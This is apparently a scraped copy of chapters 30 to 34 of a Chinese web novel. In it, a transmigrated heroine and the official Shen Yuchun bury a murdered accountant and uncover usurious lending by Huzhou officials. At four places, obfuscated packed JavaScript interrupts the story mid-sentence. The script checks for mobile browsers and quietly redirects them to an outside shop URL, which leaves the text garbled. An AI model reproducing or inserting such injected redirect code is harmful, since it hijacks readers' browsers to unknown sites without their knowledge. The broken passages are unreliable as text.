孤独地穿越到这个世界,带着优越感批判这个社会的落后,时时刻刻想要回去,虽然自己已经死了,这种自暴自弃的烦躁从未消失,哪怕她教盼春看账、给宁泊远会计书,其实都是一种来自先进文明者的施舍和怜悯罢了。 她一直觉得这样做是没有错的,事实上她也没有错,只不过宁泊远点醒了她:“这个社会的人需要这种施舍吗,她凭着系统和现代教育学会的知识真的算是真才实学吗,她知道这么多能帮助这个时代人们的知识,却始终在一旁冷眼旁观,这样真的对吗?” 姜琰从来没觉得自己“事不关己高高挂起”的心态有什么不对,但是现实世界她怎么也回不去了,若是能将自己的优势转变为自己的价值,总比在现代社会当个牛马好吧? 姜琰的思绪很乱,人生观和价值观这种事情太过宏大了,她无法现在就给自己制定一个目标,这个时代的种种规矩制度她还不清楚,未来何去何从,只能从长计议。 然而这却是姜琰最后一次和宁泊远交谈,两天后,姜琰正和沈瑜春在农舍里做饭,沈瑜春后背的伤已经好的差不多,是时候告别了,二人买了许多食材,锅还没热油,就听见衙役骑马疾驰而来,衙役在门口大喊道:“宁泊远亲眷可在?” 沈瑜春回道:“他没有亲人,怎么了?” 衙役习以为常道:“哦,那你们去吧,他沉船身亡了。” 姜琰听到这个消息时还没反应过来,只觉得很荒谬:“怎么可能?” 宁泊远不是去粟州了吗,一晚上没回来而已啊。 衙役有些不耐烦:“赶紧去认尸吧,船上死了好多人,县衙里摆不开了,能领走回去安葬的就赶紧拖回去吧。” 30.第 30 章 县衙外并没有想象中的哭嚎一片,来得人大多是老妪或者尚且年轻的妇人,她们的神情也并不哀痛,反而异常平静,怀里抱着一个盒子,这些女人们就像出殡时被人拿在手里的纸人,苍白如纸的脸上戳着两个黑窟窿,按照衙役的指挥行尸走肉一般县衙门口晃悠。 姜琰被一名小吏领着去认了宁泊远的尸体,他走时神色很平静,眉间依稀能看见一小道因为经常皱眉而产生的褶皱,嘴角挂着淡淡的微笑,不知道在临走的时候在想什么。 是在想昔日战场上并肩作战的战友吗,还是在想在湖州做账房时遇到了什么有趣的事情? 姜琰不知道,其实她对这个人都称不上了解,只是觉得他应该活得更久一点。 姜琰静默地看着这张平静安详的脸,仿佛自己也陷入无尽的平静之中,她甚至能猜出来是谁杀的他,因为刚才她打听了一下,那艘船上死得大多数是立春堂的账房,立春堂以盘点茶叶茶具库存为由让他们坐船去沥州茶庄,没想到半路遇到了事故沉船。 沉船...... 怎么这么巧,她和沈瑜春来湖州时也是船内有易燃石灰,这些账房也是坐船身亡,湖州的河到底有什么魔力,竟然在这么短的时间内发生这么多沉船事故? 用脚也能想出来到底是谁在作怪。 可惜她没有证据。 她下意识地看了一眼沈瑜春,他的神色还是和往常一样平淡,浅色的双眸凝着霜雪之意,但姜琰却感觉他有点生气了。 这是为何? 难道沈瑜春知道这是谁的手笔,而且已经知道如何找出这人的证据了吗? 沈瑜春隐约感觉到视线下方一直有人在看自己,目光顺着这道视线下移,便看见姜琰睁着大眼睛看着她,他并没有与她长久地对视下去,若有所思地将视线转移道宁泊远的尸身上。 面前的衙役见二人已经站了很久,面露古怪道:“二位到底是不是宁泊远的家人?是的话赶紧确认好把人领走。” 姜琰有些气愤,死了这么多人他们不追究也就算了,还对死者这么不尊重,他们也曾是活生生的人,现在却连一个能裹住尸体的草席都不给,让他们这么暴露于青天白日之下,他们生前也是白衣长衫的读书人,如今却死得这样不体面。 她刚想站出来理论两句却被沈瑜春拉住,后者沉声道:“我们是他的侄子和侄女,过来领他回家。” 衙役瞪了一下姜琰,几乎快用鼻孔对着她了:“嗯,他死的时候身上只有一枚香囊,就在那边放着,你们拿走吧,然后去前面按个手印,就可以安葬他了。” “多谢。” 沈瑜春无论什么时候都是一副谦谦君子的模样,姜琰却没这个定力,冷眼看了衙役一眼后两袖带风地向前疾步走去,一言未发地走完了全部章程。 回去的时候沈瑜春在后面推车,姜琰整个人似是被乌云笼罩,沈瑜春注意到了她情绪的不对,想了很久后说道:“我会让他们付出代价的。” 姜琰身形一滞。 她低头看着已经瞑目的宁泊远道:“一起。” 沈瑜春停下脚步,疑惑道:“什么?” 姜琰坚定地说道:“宁泊远也对我有恩,如今他死得不明不白,沈大人心中难道没有怀疑的对象?” 沈瑜春没有说话。 姜琰知道他有自己的考量,忽略道他的沉默,深吸一口气,说出了自己思考很久的决定,接着说道:“我要进户部。” 沈瑜春有点懵:“你进户部......怎么进?” 姜琰若有所思地笑道:“这就要问你了,沈大人。” 沈瑜春更加不解,姜琰却直接看破了他的伪装:“你去青州是为了找我吧?” 沈瑜春微微瞠大双眼,姜琰接着说道:“不,你不是为了找我,你是看我死没死。” “我不......” 姜琰打断了他:“我本来是想自己来湖州的,至于原因我想你已经很清楚了,你之所以又派人拦下我雇的山匪,又到处找我,不就是想让我来湖州帮你查漕船的事情吗?” 沈瑜春突然有些着急,姜琰不懂他为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没有看沈瑜春,轻声地回应他,仿佛和这擦过耳边的微风一样轻飘飘地,她回道:“你觉得呢,沈大人,若是要得到真心,那就必须要付出真心才行。” 31.第 31 章 “真心换真心......”沈瑜春喃喃道,像是想到了什么,轻笑一声,“好吧。” 姜琰下意识地看过去,发现沈瑜春低垂着头,一副颓然之势,好像真的收到了打击,她觉得有些莫名奇妙——做局是他,伤心也是他,那她是什么,她就可以随便被人践踏吗? 二人各怀心事地走回了宁泊远的家中,在后院为他挖了座坟,沈瑜春拿起小刀,看着站在一旁的姜琰问道:“你想说句话给他吗?” 姜琰想了一会儿道:“你写吧,我文采不好。” 沈瑜春思索了一会儿便动起了手,“好了”,没过一会儿,木牌上便赫然出现八个大字“同彼千载,见此良人。” 姜琰微微惊讶,没想到沈瑜春对宁泊远评价还挺高的,这不像是沈瑜春的作风,不过姜琰现在觉得沈瑜春干什么都不足为奇了,人们常说女人心海底针,但实际上男人的嘴比煮熟的牡蛎壳还要严实。 沈瑜春递过小刀和木牌,对她说道:“姜小姐,你也写两句吧。” 姜琰想写来着,但是觉得自己文采不行,推脱道:“算了吧,我写不好,他不会高兴的。” 沈瑜春闻言没有多说,按照流程为他洁面穿衣,最后将他安葬,期间沈瑜春问姜琰宁泊远有没有什么特别珍爱的物品,可以放在他身边陪陪他,姜琰想到了那枚香囊。 他走时身上只有一枚香囊,想必很重视它吧,她将那枚香囊从袖口里拿出,蹲在土坑旁将香囊轻轻抛在他的身边。 香囊打在坚实的土坑壁上,发出“叮”一声脆响。 这声音......她轻蹙眉头,神情古怪地看了沈瑜春一眼,对方好像也察觉出不对,脸上的表情和她一样奇怪,反应两秒,二人突然煞有默契地起身,沈瑜春拉着姜琰往下够,姜琰努力抻直胳膊将香囊捡了起来,待努力站稳后,她将里面的东西拆开,撇开乱七八糟的香料,在最中间发现了一枚铁钉。 “这......”姜琰下意识地说道,“这铁钉不会是从船上薅下来的吧。” 沈瑜春摇头道:“不知道。” 她接着问道:“如果这枚铁钉和漕船上的一致,那是不是就说明这件事确实和湖州官员有关?” 沈瑜春却沉声道:“不一定,只能说明船上材料是铸铁局制造的,铸铁局有个民船司,专门用来为当地水商提供造船材料,只不过价格比较昂贵,让许多人望而却步罢了。” 姜琰没想到南胤的经济制度还挺发达的,官商之间的界限并不是那么明显,这是好事,当然,从某种角度来看,这也会加重买卖官爵的情况。 但姜琰还是想不通:“既然铸铁局材料这么贵,那为什么还有人买?” 沈瑜春道:“因为质量好”,他捻了一下铁钉,嗤笑道,“不过现在看来倒也未必。” 沈瑜春将铁钉手下,然后将土坑填起,为他立好碑便进了他们这些天住的屋子。 见沈瑜春好久没出来,她在门外向内探头:“沈大人这是?” 沈瑜春拍拍鼓鼓囊囊的包袱,背在身后:“去驿站,找明让他们,是时候去会会这个漕运使了。” ...... 到达辛景和他们下榻的客房时已经是戌时,这个时间大多数人已经入睡,一排乌漆嘛黑的小房间之中唯有一闪小窗闪着幽幽烛光,不用想也知道这是辛景和他们在加班。 姜琰却在此时突然福至心灵:“等等,沈大人,你什么时候联系上辛大人的?” 既然联系上了,为何不回到户部,如果能提前回到户部,那是不是宁泊远他们就不会死? 沈瑜春见她说完这句话后就一直垂眼想事,心道一声不好,现在他们之间的关系有些微妙,若是不及时解释又要产生误会,于是先发制人道:“姜小姐是否记得你去立春堂那天,我曾消失了一会儿?” 这么说的话,那天她确实没找到他:“莫非......” “是的,那时就有人要杀我。” 姜琰想不通:“为何要杀你?而且有件事我一直不明白,你去湖州巡查人尽皆知,那通判使和湖州官员难道是傻的,为何在这时动手脚将你赶尽杀绝,朝廷若是派人追查,他们干的那些腌臜事不全被掀出来了?” 沈瑜春点头:“嗯,确实是,除非他们已经找好了替罪羊。” 姜琰一惊:“替罪羊?通判使?” 沈瑜春目光幽深:“湖州的水很深,那天有刺客追杀我时我便让沈家亲卫暗中调查这件事,结果派出去的亲卫竟无一人生还。” 姜琰震惊道:“这可是沈家的亲卫!” 沈瑜春无奈道:“可想而知对方手伸地多长。” “至于湖州官府的账,我已经让明让他们搬过来了,不过大概是无用功。” 也是,毕竟死了这么多账房,这个假账的工程量还是很大的。 姜琰隐约觉得这次湖州之行可能没有想象中的那么顺利。 沈瑜春踩着嘎吱作响的楼梯上了二楼,一推门便看见埋首伏案的户部众人,员外郎廖宁见到沈瑜春先是倒吸了一口凉气,然后迅速揉了把还在流口水的辛景和:“明让兄,快起来,你看谁来了?” 辛景和显然还不知道自己的危险处境,口齿不清地揩了下嘴角的口水,眯着眼道:“你没看见我在睡觉?你那两眉毛下面长两个窟窿眼是......是、世上只有沈大人好!沈大人怎么来啦,自昂兄你怎么不说话啊哈哈哈哈哈哈......” 姜琰看着辛景和笑比哭还难看的脸,突然有些怜爱他了。 要不是沈瑜春在场,她都想抱抱这位快碎掉的大人了。 就在所有人都以为沈瑜春要发火时,他却说道:“辛苦诸位了,入夜已深,各位先回去休息吧。” 户部众人面面相觑:不敢动。 沈瑜春深吸一口气,露出一个和善地微笑:“今后也不必通宵看账本了。” 众人还是不动,沈瑜春大喊道:“再不走就留下来看清吏司度支科的账!” 南胤将六部在各州府设立清吏司办事,度支科为户部下属驻地办事处,掌管一省税赋钱粮事宜,账册种类多,数额大,谁摊上没有个一年半载根本算不完。 众人一听此话纷纷找借口回房休息: “嗯......啊,我困了,某先告退。” 这是廖大人。 “哎呦,哎呦呦,我这老腰禁不住用了,看了这么久账本酸疼得厉害,既然大人体恤,那某就先告退了。” 这是会说话的户部主事徐大人。 “某也告退。” “某也......” 几人找了借口纷纷逃窜回屋,他们把借口找得差不多,半睡半醒的辛景和根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437637|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来不及想出什么漂亮话,小心翼翼道:“那大人,我也......” 沈瑜春一锤定音:“你留下。” “噗——” 还未走远的主事和员外郎一下子喷出来,幸灾乐祸地看向已经在原地四分五裂的辛景和,在心里默默同情他了一秒。 待人走得差不多,沈瑜春找了把椅子坐下,看着手足无措地辛景和道:“坐。” 辛景和哪敢坐下,受不了地求他道:“大人你快说吧,有什么事情,你不说某心里难受。” 沈瑜春不解道:“难受什么,找你是想问湖州的账查得怎么样了。” 辛景和瞬间放松下来,连说话的语气都变了许多:“湖州的账没有问题.......”他看了眼姜琰,沈瑜春知道他还没说完,“继续。” 辛景和一看沈大人这是不把刘账房当外人,接着说道:“但问题就在这儿,这账本太干净了,反而会出现漏洞。” 沈瑜春挑眉:“比如?” 辛景和拿起桌上的账本,翻开他用纸隔开的那页道:“湖州的田赋每年都只增不减。” 姜琰没怎么听懂,只增不减难道不是好事,她好奇地凑过来,沈瑜春凝视着账本上那几行密密麻麻地小楷,指腹摩挲了下那张纸的右上角道:“确实有问题。” 一旁的姜琰皱眉:“为什么有问题,这不是好事?” 沈瑜春和辛景和深深看了眼对方,辛景和指着账本上的数目道:“问题是湖州农田的粮食产量根本没这么多,即便是在歉收的状态下,每年的田赋依然照交不误,农户们哪来的这么多钱?我和同僚们意识到不对劲,又装作城中百姓去暗访城郊农户们,发现他们过得相当滋润,甚至比一些地主还滋润,最诡异的是,每年负担巨额田赋,竟没有一个人说官府的坏话,甚至这些粮都是他们自愿交的,没有粮就拿钱去别的州府买,可他们的钱是从哪来的?” 别说他们了,哪怕来自现代的姜琰听到都觉得心里发毛:“古代哪有这种福利待遇,别是诈骗吧。” 她拿起账本仔细翻阅起来,甚至还拿系统算了好几遍,都查不出其中的纰漏。 怎么可能呢,她想,到底是遗漏到了哪一点呢? 辛景和见她和沈瑜春同时沉默,觉得今天这事肯定是研究不出来了,不如明天再说,开始劝他们道:“沈大人,我看现在已经子时了,咱要不就明天再说,反正问题肯定是有的,湖州百姓每年交这么多粮食,总不可能全是自愿的吧,一定会有人愿意说出里面的猫腻的......” “等等!”姜琰打断了他,“自愿,对哦......” 百姓为什么夸赞湖州官府,为什么自愿交这么多税,如果是这场贪腐游戏是带剥削性质的,为什么没有人上告朝廷? 能自愿让百姓多交钱和税的,那必然是百姓能够从中获利。 有什么是能让百姓从官府里获利的政策呢? 姜琰突然想到地方债。 地方债......湖州官府施行地方债肯定会报备朝廷,不能私自乱搞,地方债的本质是以政府信用为背书让百姓借钱给官府,到期归还本金利息,它的本质其实就是银行放贷。 放贷...... 姜琰拿起账本用系统算了一遍,看着最后的百分比,她冷哼道:“果然是放贷,还是高利贷。” 32.第 32 章 这话一出,在场的所有人都沉默了。 倒不是因为他们不相信姜琰,毕竟她的能力大家有目共睹,辛景和和沈瑜春之所以不说话,是因为他们没见过这种操作。 姜琰也第一次知道还能这样干,而且她现在所有的猜测只是依靠系统计算完成的,根本称不上是实质性证据。 沈瑜春终于从账本上抬眼,语气带着质问:“姜小姐何出此言?怎么算出来的?” 姜琰卡了一下,慢吞吞地反问道:“能让百姓自愿交钱的,除了是政府借款,还能是什么?” 沈瑜春和辛景和还是不太相信这个说法,沈瑜春冷声道:“证据呢?” 姜琰疑惑压眉,沈瑜春干嘛这么凶,确实有这种可能性啊。 但她确实没证据,只能认怂道:“要是找到放贷的证据,就必须看当地乡绅的账本,我不信他们放贷之后不和乡绅分钱,不可能没有流水。” 沈瑜春思忖一会儿道:“不行,我们没有这个权力。” 不能师出无名,朝廷官员凭什么擅自查百姓自己的账? 姜琰却道:“不行也没事,给我户部官员的官印。” 站在一旁昏昏欲睡的辛景和听到这话瞬间打了个激灵,脚蹬地站直,腰也不酸了腿也不疼张着大嘴作痴呆状:“啊?” 我的老天奶啊,刘账房疯了吧? 沈瑜春义正言辞地拒绝了:“不行,入户部只能回应天再说。” 辛景和:救...... 这两位活祖宗能不能考虑一下他的感受,大声密谋进朝廷做官真的很光彩吗? 辛景和是一刻也待不下去了,他觉得周围的人都疯掉了,算学天才刘账房说地方官员放高利贷,守正不阿的沈大人要直接让刘账房进户部,虽然现在可以通过捐监做官,但那也必须考上举人才行,不可能一步就进入户部,现在沈瑜春竟然答应给刘账房一个官职,还是直接进入六部那种,想想都觉得荒谬。 辛景和在心中琢磨:刘账房不会救过神大人的命吧? 不、救过也不一定会欠这么大的人情,莫非沈大人有什么把柄在刘账房手中? 沈大人不会也贪污腐败吧! 辛景和感觉自己这一晚上知道了太多,感觉自己命不久矣,准备等会儿回去就写遗书,自己小金库的钱也告诉夫人好了,他死了肯定会有人来杀他全家灭口,他在风月楼的那几个知己估计也会被杀,娇娇吾爱,萍萍吾悦...... “辛景和?” 他正头脑风暴着,沈瑜春一嗓子把他喊醒,辛景和两股战战道:“大人我......我聋了。” 沈瑜春皱眉:“你什么?” 他两眼放空,摸索道:“大人我瞎了。” 沈瑜春:“......别演了,说正事。” 辛景和立刻严肃起来:“大人您说!” “你......”沈瑜春对他是否能完成任务感到怀疑,“算了。” 辛景和脸上霎时五彩斑斓:“算了?沈大人你......” 真会往人心窝子上捅刀! 辛景和还想再说两句证明一下自己的实力,却被沈瑜春不耐地敷衍道:“没事了,最近辛苦,赶紧回房休息罢。” 辛景和捂着胸口走了,留下沈瑜春和姜琰面面相觑,看辛景和的神情,现在暂时还没有能让普通人绕过科举直接进中央做官的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450633|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制度,那沈瑜春怎么把她塞进去呢,她不免有些好奇:“沈大人打算怎么让我进户部?” 沈瑜春皮笑肉不笑道:“没办法可以想办法,这就是权力。” 姜琰一愣,沈瑜春这是在给她上课吗? 沈瑜春定定看着她,眼神意味不明:“懂得自己的权力,善用自己的权力,这便是为官之道。” “可为政之道,不应该至诚为道,至仁为德吗?” 沈瑜春笑得有些邪气:“那这就要看个人的选择了。” 姜琰没料到他会这么说,这可和他平日里的正面形象大相径庭,讥讽他道:“那你呢,沈大人,你的选择是什么?” 沈瑜春望着她,眼神炽热坚定:“水清兮濯吾缨,水浊兮濯吾足,有美人在兮,伴佳人左右。” 助其成重器。 姜琰睁大了眼睛。 她没想到内敛含蓄的沈瑜春会这么直白,酡红从纤细白皙的脖颈向上蔓延,整个人浑身轻飘飘的,仿佛心也在跟着这双幽深的双眸下沉,然而越是深情醉人,她的头脑却更加冷静理智。 她用那双勾人的双眼看着他,一字一句地、无比清晰地说道:“既然无法逃离这场权力的游戏,那我就成为规则的制定者,我要让所有游戏中的人都无法作弊,无法找到规则的漏洞。” 沈瑜春温和地笑道:“好。” 是你的愿望,我都会帮你完成的。 姜琰迅速从这氤氲氛围中抽离,沈瑜春也恢复了原先的清明,他对她说道:“姜小姐,太晚了,回去吧,明天我们去漕运司。” “以姜家大小姐的身份去?” 沈瑜春点点头。 “好。” 33.第 33 章 去见漕运司之前,沈瑜春先带姜琰见了个人。 他们是单独去见的,偌大的厅堂那人正局促不安地坐在椅子上,许久未见他的两鬓已经有些花白,眼袋吊在眼睛下面,面部浮肿,好像一个被气吹起来的糖人一戳就破。 姜秉好像老了很多,可能是因为朝廷命官差点死在自己的船上,见到沈瑜春时眼泪一下子飚了出来,拽着沈瑜春的袖子哭天抢地道:“沈大人,你还活着,太好了啊呜呜呜呜呜!” 姜琰瞧他这没出息的样子,在心里冷哼一声,他哭这么大声,不知道的还以为是有人出殡呢。 “咳咳。”沈瑜春受不住这聒噪地哭声,提醒他道,“姜老爷,你看看我身后。” “呜呜呜呜呜......啊?”正努力挤出两滴马尿的姜秉一听这话,偷偷看了一眼身后,大惊失色道,“清、清儿?你怎么在这儿?” 姜琰觉得好笑:“我不在这儿在哪,你不是派人找我了么,你会不知道?” 姜琰出口地话根本算不上尊重,事到如今她也没必要尊重姜秉,她能理解姜秉的种种行为,但不代表她认为这是对的。 姜秉看出了她眼中的冷漠和鄙夷,碰了一鼻子灰,无措地用指腹重重摩擦了一下大拇指上的翡翠扳指,讪笑着愣在原地,也不知道该说什么。 姜琰实在觉着他们之间也没什么好说的,不知道姜秉痛心疾首的样子在做给谁看,空荡荡的厅堂三个人都低头沉默,她不耐烦地说道:“沈大人,你把我爹找来是要请他帮忙看船吗,若是,请快点去漕运司吧。” 沈瑜春听见这话怔愣一瞬,好像是不知道该怎么接话,想了一会儿后才回道:“是也不是。” “此话怎讲?” 沈瑜春却没回她这句话,而是对姜秉颔首道:“姜老爷,辛苦您跑这一遭,下官没什么事了”,紧接着他问姜琰,“姜小姐是否还要与令尊说些什么?” 姜琰有些摸不着头脑,但她不想再和姜秉虚与委蛇,于是如是说道:“父亲,沈大人救了我,我还欠他个人情,您也看见了,女儿一切安好,若是没什么急事,要不我们改日再聊?” 言外之意就是忙着呢没空,哪凉快哪待着去吧! 姜秉哪能听不懂她的暗示,如今他的这个女儿越来越厉害了,还攀上了沈瑜春这朵高枝儿,就算他想再说几句,但人家都点明了这是帮沈大人的忙,他不纠缠,就相当于自己也帮了沈瑜春,他能这么没眼力见儿吗,只好像一个慈祥地家主一样笑着说道:“去吧,沈大人为国为民,他的事自然是头等大事,小女能帮上沈大人那才是我姜家的荣幸!” 姜琰又在心里翻了个白眼。 她向姜秉行礼告辞后,便跟着沈瑜春坐上了去漕运司的马车。 长平街上人声鼎沸,阡陌纵横,举目便是绣额珠帘,低头便是过尽千帆,太湖水悠悠,夕阳脉脉,文人骚客独倚江楼,歌女揽琴唤客。 姜琰将抬帘子的手撤下,对上沈瑜春带着询问的眼神。 姜琰知道他在想什么,主动开口解惑道:“大人找我父亲来,是想作势?” 想必沈瑜春早已打点好了各处关系,姜秉上午从濯州出发,脚还没踏上湖州这地界,他为什么来湖州、来湖州要做什么,背后都依靠着什么势力,都被湖州的这些老狐狸们摸得一清二楚。 甚至有可能就在这间客栈里,都隐藏着时刻监视着他们的人。 沈瑜春知道姜琰这是明知故问,但还是默认了,只不过他有一事想不明白,正好姜琰给他搭了个话,他顺势问道:“姜小姐可曾怨恨过姜老爷?” “啊?”姜琰一开始还没反应过来,“怨恨?我恨他作甚?” 沈瑜春有些惊讶:“你当初不是在船上,你不知道他其实从未费心找过你吗?作为他的女儿,你不伤心?” 姜琰醒悟:“啊,你说这个,我知道啊,以他的人脉,稍微找人打听一下就知道我在哪了,不可能我混进船员里了都没发现我。” “那你还......” 她打断他:“可是又有什么关系呢沈大人,人为什么一定要获得父母的关心呢?” 沈瑜春眼里闪过一道惊色:“可人之行,莫大于孝,自古君为臣纲,父为子纲,人这一生若是不能得到父母认可与关爱,那这人应该会很难过吧。” “哈哈哈哈......”姜琰笑得恣意,“那沈大人二十有六就是钦封的正三品,沈家家主有没有对您另眼相看呢?” 她这话问得大胆,稍有不慎就会惹人不快,但姜琰还是这么问了,因为他的眼里有的只是惊讶,并没有不赞同,果然,沈瑜春双眸暗了一瞬:“没有。” “但沈大人你已经很厉害了啊,你是同龄人的佼佼者,只要认识你的无一不敬佩你,与你共事的同僚无一不尊重你,很多人都走不到这种高度,但即便如此,或许在沈家主的眼里你还是个在树上荡来荡去的野猴子呢。” 她的眼睛亮亮的:“有的时候为什么要期待父母或者别人对我们的认可呢,有些父母严厉是因为他们爱自己的孩子,父母之爱子,当为之计深远,可我爹不一样,他不爱自己的孩子,或者说比起爱孩子,他更爱自己的生意和手里的钱。” “我从很小就知道这件事,我爹不爱我,所以我根本就不期待他对我寄予厚望,他对我过度关心我反而还会不适,这也不能说我不爱我爹吧,我只是觉得血亲只是一条纽带,它将我和我爹两个人绑在一起,但我们又是独立的个体,既然我们对对方都没有那么深厚的感情,为什么还要互相寄托彼此的希望呢?” “有希望是件非常残忍的事情,当希望落空的刹那,就是铡刀在心里落下的时刻。” 姜琰看着头上的天,人们有的时候太希望自己幸福了,能有个美满的家庭、体面的工作、理想的爱人,但是有没有一种可能这样的人生少之又少呢,如果一个人从幼年开始家庭中就伴随着暴力、冷漠、言语上的斥责和侮辱,他们难道还要寄希望于“没事的,一切都会好的”谎言中吗,这时候立即抽身才是最好的,认识到原来我的父母没那么爱我,既然不爱,那便无需畏手畏脚。 由此,便是重新的开始。 沈瑜春没听过这么“离经叛道”的话,陷入了沉思。 他想了很久,最后才说道:“或许你是对的,我有的时候也不知道父亲对我们这么严格到底是出于什么。” 姜琰歪头:“我们?” 沈瑜春“啊”了一声道:“我还有个姐姐。” 姜琰好奇道:“沈大人没有别的兄弟姐妹了吗,沈氏一族人丁兴盛,为何.......” 她不想再接着说了,毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495872|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟不太礼貌,没想到沈瑜春毫不在意:“我的父亲没有纳妾,母亲生了我和姐姐后身体不太好,在我十岁那年早早离开了。” 姜琰颔首:“原来如此,沈大人的姐姐一定很漂亮吧。” 沈瑜春浅笑道:“回应天的话你应该会见到她,你们二人在某些地方很像。” 姜琰闻言心中确实期待了起来,还想询问更多时,马车突然停下,沈瑜春扬声道:“外面怎么了?” 车夫语气慌张道:“大人,前、前面有人拦车!” 姜琰诧异地睁大了眼睛,这马车可是按南胤礼制配置的正三品官员专用马车,相当于专门接待品极高的官员的专用公车,谁会这么大胆拦这个车? 沈瑜春拨开车帘就要下车,姜琰紧随其后,只是他们还没将脚迈出马车,便听见外面有人悲怆大喊道:“沈大人,下官不才,忘了接待您了,您怎能和图谋不轨的商贾之女同坐一车啊!!” 姜琰:你要不再说大声点呢,全城的百姓都该听见了。 沈瑜春眉头紧锁,外面的人将车里二人身份说得如此清晰,生怕别人听不到,这葫芦里卖的什么药? 姜琰见他不动,也不知道该怎么办,问道:“沈大人,你知道这是闹哪出吗?” 沈瑜春还没见过这种新奇手段,有些窘迫:“抱歉,我也是第一次见。” 二人相视一笑,姜琰挑眉冲着外面努努嘴:“咱去会会他们?” 沈瑜春也饶有兴致道:“姜小姐说得有理。” 他先一步下了马车,随后伸手稳稳接住姜琰,不过说是接住,只不过虚扶了她一下,她还未抬眼看来者何人,就听前面又急又气地大声说道:“大人!你莫不是被迷了心智,庶民怎敢和您同坐一辆车,而且这人还是姜秉的女子,要知道就是因为姜秉商船出事大人才一路颠沛流离......”说着他扑跪了下来,声泪俱下,“大人,下官担心您啊!” 姜琰听到这段话的第一反应竟是槽点太多无力吐槽,第二才是去看跪在沈瑜春面前的男人,男人身材偏瘦,个子不高,跪下来时像死了很久的虾米,弯曲地佝偻着脚底下只能看见一点黑影,官服松垮垮地架在身上,长相平庸,要不是红色官服给他那张苍白的脸提了一点精神气儿,别人还以为大白天义庄里谁家的僵尸跑出来了。 她看着这个滔滔不绝的中年男人,心里明白了个大概,这人给沈瑜春使绊子呢,说给城中老百姓听的,说这不是个好官,好色、贪财、还和官商勾结,让百姓心生警惕这样不好问话。 姜琰觉得从某种程度上来说他说得也对,不过...... “你说得对,但请问您是谁啊?”姜琰终于忍不住打断了他。 ...... 瞬间,天地都安静了下来,甚至有些偷偷看戏地无辜路人手里的瓜子皮都掉了一地。 沈瑜春有些尴尬:“呃,这是漕运使司杨星连杨大人。” “哦哦哦哦哦”,姜琰一拍大腿道,“你就杨大人!久仰!” 杨星连抹鼻涕的手顿住:“你?久仰我?” 姜琰:“对啊,就你家的船,我姜家买了以后沈大人坐上就沉船了!” 沈瑜春:“......?” 杨星连:“.......啊?” 这个人疯了吧! 34.第 34 章 杨星连骂道:“大胆妖女,你在胡说什么,姜家何时买我漕运司的船了?还说沈大人坐上船就沉了,这不是引人误会是什么?” 姜琰心想你也知道话不可以乱说这个道理,出言讥讽道:“那杨大人怎得就知道我图谋不轨?” 杨星连急道:“你!” 姜琰却道:“杨大人您身在湖州还能知道沈大人的动向,真是不容易啊。” 沈瑜春意味深长地看着杨星连,后者急头白脸地争辩道:“沈大人出事后沿途布政使司都急得团团转,甚至大理卿史大人亲自来咱们这边转了一圈,抓了不少人,包括姜秉,我在旁边听着,我能不知道吗!” 姜琰拉长语调道:“噢.......原来如此啊,那还真是我误会杨大人了。” 杨星连:不是,这话我怎么听着不像好话呢? 他被姜琰绕了进去,只顾得自证:“唉,沈大人您未到湖州的这些日子里,下官寝食难安,生怕大人遭遇不幸有性命之忧,听到大人要来漕运司巡查,下官更是夜不能寐,早早派人守在这里等着迎接大人,谁知却被这位姜姑娘恶语相向,下官真是......呜呜呜呜。” 姜琰被这套绿茶发言雷的外焦里嫩:好家伙,这杨星连竟然是走这种赛道的吗? 不过他这几句话确实是够沈瑜春喝一壶了,沈瑜春既然早就没事,为何不上报朝廷,既然来到湖州,为何不找辛景和他们,这不是擅离职守是什么? 沈瑜春显然懒得理:“杨大人,我沈某做什么事情还不需要你来置喙吧。” 他阴沉着脸,眉眼压低,在深邃眼眶下形成两团阴影,让人感觉有些压迫,杨星连紧张地咽了口口水:“下官也不是这个意思......” 沈瑜春昂起头道:“既然杨大人已经知道我们来漕运司的目的,那就赶紧带路吧。” 杨星连宛如丧家之犬,夹着尾巴灰溜溜地走在他们身侧为二人带路,姜琰却觉得沈瑜春的解决方法也太草率了,忍不住问道:“就这?他就这么放弃找茬了?” 沈瑜春挑眉,游刃有余道:“当然,所以你看,这就是权力。” 